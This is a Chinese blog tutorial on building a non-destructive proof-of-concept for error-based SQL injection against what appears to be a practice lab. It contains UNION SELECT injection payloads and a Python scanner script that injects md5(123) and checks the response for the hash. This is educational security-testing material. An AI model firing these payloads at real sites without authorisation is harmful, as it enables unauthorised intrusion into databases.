欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

渗透测试之POC基于报错的sql注入

程序员文章站 2022-06-13 12:56:34
...

sql注入一般是主要有三种,基于报错注入,基于布尔的盲注和基于时间的盲注。

原理我不多说了,今天开始写sql注入的poc。

首先POC的漏洞存在的证明,而sql注入的poc我们只要证明sql语句被执行了即可。

首先看我们的测试环境。

渗透测试之POC基于报错的sql注入

测试环境中我们再注入的参数加个单引号,发现可以有sql报错,从报错额语句中可以看出是基于报错的字符型sql注入

渗透测试之POC基于报错的sql注入

此时用union来确定有多少个字段

id = 1' union select 1,2,3%23

一直到第四个参数发现报错参数不匹配

渗透测试之POC基于报错的sql注入

所以一共有3个参数。

我们设置一个不存在的id数,这样的话,第一个查询无效,便会显示第二个查询的结果

渗透测试之POC基于报错的sql注入

这时候就是我们准备要执行我们的poc的时候了,让它执行什么sql才好呢?一般来说poc的证明如果用于扫描的话,客户希望是无损的,所以我们还是不要去爆人家的root密码,一般常见的就是mysql自带的md5这个函数去执行,因为这样得到的预期结果可以控制。

渗透测试之POC基于报错的sql注入

所以我们脚本写的poc就是发送一个这样的请求,然后在响应的文本中去寻找是否存在MD5(123)的值,存在则判断存在sql注入。

下载开始python基于无框架写poc

#coding:utf-8
import requests
import sys
import hashlib

def verify(url):
    target = url + "/Less-1/index.php?id=10086%27union%20select%201,2,md5(123)%23"
    try:
        #发送http  get请求
        req = requests.get(target)
        response = req.text
        #print response
        if response:
            #查询md5(123)
            if hashlib.md5('123').hexdigest() in response:
                print "%s is vulnerable" %target
            else:
                print "%s is not vulnerable" %target
    except Exception,e:
        print "Something happend...."
        print e
        
def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
        url = args[1]
        #print url
        verify(url)
    else:
        print "Usage:python %s url"%(args[0])
        
if __name__ == '__main__':
    main()
python脚本测试结果

渗透测试之POC基于报错的sql注入

运行能证明sql注入是存在的



相关标签: poc